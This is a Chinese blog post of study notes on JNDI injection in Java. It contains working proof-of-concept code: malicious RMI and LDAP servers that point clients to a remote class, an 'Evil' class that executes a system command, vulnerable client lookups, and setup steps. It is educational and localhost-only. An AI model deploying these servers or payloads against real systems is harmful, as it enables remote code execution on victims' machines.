JNDI注入学习

JNDI注入

简单记录一下学习JNDI时学习到的知识点

JNDI是什么?

前面我们学习过RMI远程方法调用,那是一个RMI SERVER - RMI Client的结构,而 JNDI 也可以从RMI SERVER中获取到对象并执行其中的方法。那么这两者有什么区别呢?

RMI SERVER - RMI Client 结构,方法最终是在RMI SERVER端中执行的

RMI SERVER - JNDI 结构,方法最终是在JNDI客户端执行的

在RMI SERVER - JNDI 结构中,RMI SERVER不只可以绑定本地的对象,还可以通过References类来绑定一个外部对象(这个外部对象的意思是可以通过url进行访问到的,这个url可以指向本地,也可以指向非本地)

JNDI利用RMI执行系统命令

当RMI SERVER - JNDI 结构中的RMI SERVER绑定的是一个外部对象,这时当JNDI通过lookup一个对象时,RMI SERVER返回的是一个ReferenceWrapper_Stub,然后通过ReferenceWrapper_Stub获得一个Reference对象(如下图),然后根据这个对象里的className属性在本地的className指定路径查找有没有Reference对象对应的类,有则直接拿本地的,没有则从classFactoryLocation属性指定的URL中去加载
image-20211205200230978
图片中的Reference对象对应下面代码中的Reference对象,从这里可以知道classFactory、className、factoryLocation属性都是我们可以控制的,那么我们就可以控制JNDI客户端在从哪里加载恶意类了

漏洞演示代码如下(复现时JDK版本为jdk7u80)

RMI Server

package com.vul.JNDI;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {
    public static void main(String[] args) throws Exception{
        Registry registry = LocateRegistry.createRegistry(8999);
        Reference reference = new Reference("1","Evil","http://127.0.0.1:9999/");
        ReferenceWrapper ref = new ReferenceWrapper(reference);
        registry.bind("payload",ref);
    }
}

Evil恶意类(不要和RMI Server放在同一个包下,否则不用开启web服务也能找到这个类)

public class Evil {
    public Evil() throws Exception{
        Runtime.getRuntime().exec("calc.exe");
    }
}

JNDI客户端

package com.vul.JNDI;

import javax.naming.InitialContext;

public class Client {
    public static void main(String[] args) throws Exception{
        InitialContext initial = new InitialContext();
        initial.lookup("rmi://127.0.0.1:8999/payload");
    }
}

先开启RMI Server,后把Evil进行编译,再在Evil恶意类目录下用python -m http.server 9999开启一个简单的web服务,监听端口为9999,此时访问http://127.0.0.1:9999/Evil.class就能访问到Evil恶意类,最后启动JNDI客户端就能在JNDI客户端的电脑上弹出计算机

注意点

  1. 第一个就是前面说到的Evil恶意类不要和RMI Server放在同一个包下,甚至是同一个项目
  2. 第二个就是Evil恶意类不能有包名,也就是不能有package xxx,因为有包名的话在通过javac编译java文件时会在方法名也加上包名,这时候会导致不匹配

为什么能在JNDI客户端执行命令?

前面只是说到了能控制JNDI客户端从哪里加载 类,但是为什么会执行命令呢?其实在InitialContext.lookup方法下个断点调试就不难发现在加载类的时候是通过Class.forName加载类的,且第二个参数为true,这时候就会执行恶意类的静态代码块。加载类之后再通过(ObjectFactory) clas.newInstance()实例化类,这时候就会执行恶意类的构造方法。在实例化之后把类转换为ObjectFactory,之后再调用factory.getObjectInstance方法,factory就是实例化的对象,所以恶意类中的getObjectInstance方法的代码也会被执行,但是前提条件是实例化出来的对象能成功转换为ObjectFactory,那么就需要恶意类 实现 ObjectFactory接口。

所以,构造的恶意类可以在三个地方写入命令执行代码

  1. 在构造方法中写入恶意代码
  2. 在静态代码块中写入恶意代码
  3. 在getObjectInstance方法中写入恶意代码,这时候需要恶意类 实现 ObjectFactory接口

JNDI利用RMI的局限性

JNDI利用RMI存在版本局限,下面贴一张啦啦0咯咯师傅的图
image-20211205202714430
JNDI不只是可以调用RMI服务,还可以调用LDAP服务,且没有那么多的版本局限!

JNDI利用LDAP

需要先引入一个依赖

<dependency>
    <groupId>com.unboundid</groupId>
    <artifactId>unboundid-ldapsdk</artifactId>
    <version>6.0.0</version>
</dependency>

直接上漏洞演示代码(复现时JDK版本为jdk7u15)

LdapServer

package org.vul;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;

public class LdapServer {
    private static final String LDAP_BASE = "dc=example,dc=com";


    public static void main (String[] args) {

        String url = "http://127.0.0.1:9999/#Evil";
        int port = 8999;


        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen",
                    InetAddress.getByName("0.0.0.0"),
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port);
            ds.startListening();

        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;


        /**
         *
         */
        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }


        /**
         * {@inheritDoc}
         *
         * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
         */
        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }

        }


        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "Exploit");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference");
            e.addAttribute("javaFactory", this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }

    }
}

Evil恶意类

public class Evil{
    public Evil() throws Exception{
        Runtime.getRuntime().exec("calc.exe");
    }
}

JNDI客户端

package org.vul;

import javax.naming.InitialContext;

public class Client {
    public static void main(String[] args) throws Exception{
        InitialContext initial = new InitialContext();
        initial.lookup("ldap://127.0.0.1:8999/payload");
    }
}

JNDI利用LDAP的局限性

JNDI利用LDAP存在版本局限,下面贴一张啦啦0咯咯师傅的图

image-20211205203839991

总结

本文只是简单叙述了学习JNDI过程中遇到的一些注意点,学习的话还是参考下面链接吧,文章可能存在理解上的偏差,若有错误,还请指正

https://xz.aliyun.com/t/6633
https://kingx.me/Exploit-Java-Deserialization-with-RMI.html
https://ego00.blog.csdn.net/article/details/120048519

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值